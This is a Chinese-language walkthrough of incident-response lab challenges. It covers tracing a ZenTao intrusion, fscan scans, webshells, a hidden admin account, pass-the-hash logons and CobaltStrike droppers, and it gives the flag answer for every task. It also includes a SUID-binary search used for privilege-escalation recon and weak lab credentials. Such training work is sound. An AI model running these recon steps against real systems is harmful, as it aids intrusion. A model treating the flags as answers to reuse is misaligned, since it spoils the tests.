成功获得账号和密码
1 | root/mysql123 |

发现一个不是默认自带的库

发现无法使用,我们就去找一下对应的文件


成功找到
1 | JPMorgan@0020Chase |
1 | flag{0928a5424aa6126e5923980ca103560e} |
任务九
1 | 解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。 |
首先就是去寻找加密文件
1 | find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm 2>/dev/null |

我们这就写一个解密脚本即可
1 |
|
直接xshell服务器上运行即可

1 | Chef |
1 | flag{8fd82b8864d71ed7fa12b59e6e34cd1c} |
任务十
1 | 因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。 |
这就盲猜是sudo提权
直接命令去找
1 | find / -user root -perm -4000 -print 2>/dev/null |


1 | /etc/sudoers |
1 | flag{6585817513b0ea96707ebb0d04d6aeff} |
NOP Team dmz-A
任务一
1 | 1、请提交禅道的版本号,格式: flag{xx.xxx.xxxx} |

直接就是能看到版本的
1 | flag{18.0.beta1} |
任务二
1 | 2、分析攻击者使用了什么工具对内网环境进行了信息收集,将该工具名称提交 flag{xxxx} |

可以很明显的找到fscan
1 | flag{fscan} |
任务三
1 | 3、攻击者攻击服务器得到shell以后,是处于哪个用户下做的操作,将该用户名提交 flag{xxxx} |
有上面我们知道了对应的版本,就可以直接网上找对应的poc去攻击
https://blog.csdn.net/qq_41904294/article/details/128838423
然后根据对应的poc去流量包中寻找http contains “SCM=Subversion”
1 | flag{nobody} |
任务四
1 | 4、攻击者扫描到内网 DMZ-B机器的账户密码为多少格式 flag{root:root} |
直接去查看fscan扫出来的结果即可

1 | flag{admin:123456} |
NOP Team dmz-B
任务一
1 | 1、攻击者通过DMZ-A登陆到DMZ-B机器里,在上面发现了DMZ-C机器里的一个密钥,通过某服务直接进行了登陆,请将服务名与登味的用户名提交<格式 |
直接就是通过history命令去查看历史命令即可
1 | flag{ssh:deploy} |
Where-1S-tHe-Hacker
任务一
1 | 通过本地 PC RDP到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交; |

直接就是能够找到的
1 | flag{X123567X} |
任务二
1 | 通过本地 PC RDP到服务器并且找到黑客在什么时间修改了网站主页,将黑客修改了网站主页的时间 作为 FLAG 提交(y-m-d-4:22:33); |
直接就是右键详细就能看到修改时间了

1 | flag{2023-11-6-4:55:13} |
任务三
1 | 通过本地 PC RDP到服务器并且找到黑客第一个webshell文件名是,将第一个webshell文件名 作为FLAG 提交; |
1 | flag{SystemConfig.php} |
任务四
1 | 通过本地 PC RDP到服务器并且找到黑客第一个webshell文件名是,将第一个webshell文件名 作为FLAG 提交; |
这个也是可以去看一下修改日期,很容易就能够找到了

1 | flag{syscon.php} |
任务五
1 | 通过本地 PC RDP到服务器并且找到黑客第二个webshell的连接密码是,将第二个webshell的连接密码 作为FLAG 提交; |
这个也是很简单,直接点开木马文件即可
1 | flag{pass} |
任务六
1 | 通过本地 PC RDP到服务器并且找到黑客新建的隐藏账户,将新建的隐藏账户名字 作为FLAG 提交; |

成功创建了新账户
1 | c |
任务七
1 | 通过本地 PC RDP到服务器并且找到黑客隐藏账户创建时间是,将隐藏账户创建时间是 作为FLAG 提交(答案格式:2024/12/3 9:16:23); |
直接就还是上面的复制一下即可
1 | flag{2023/11/6 4:45:34} |
任务八
1 | 通过本地 PC RDP到服务器并且找到黑客添加隐藏账户进管理员组的时间,将添加隐藏账户进管理员组的时间 作为FLAG 提交(答案格式:2024/12/3 9:16:23); |

直接就还是继续去找就行

1 | flag{2023/11/6 4:46:07} |
任务九
1 | 通过本地 PC RDP到服务器并且找到黑客在什么时间从文件中读取保留的密钥,将读取保留的密钥的时间 作为FLAG 提交(答案格式:2024/12/3 9:16:23); |

1 | flag{2023/11/6 4:46:58} |
任务十
1 | 通过本地 PC RDP到服务器并且找到黑客通过隐藏账户通过(PTH)哈希传递攻击登录的时间是,将(PTH)哈希传递攻击登录的时间 作为FLAG 提交; |
通过哈希传递攻击来登录,我们搜索登录成功的事件,并注意是否含有NTLM

1 | flag{2023/11/6 4:47:28} |
任务十一
1 | 通过本地 PC RDP到服务器并且找到黑客上传的两个CobaltStrike木马文件名,将上传的两个CobaltStrike木马文件名 作为FLAG 提交(答案格式:"A.exe,B.exe"); |
用D-Eyes扫恶意文件,发现文件Windows Defender自动隔离了,样本提取需要从隔离区恢复即可
1 | flag{SystemTemp.exe, SysnomT.exe} |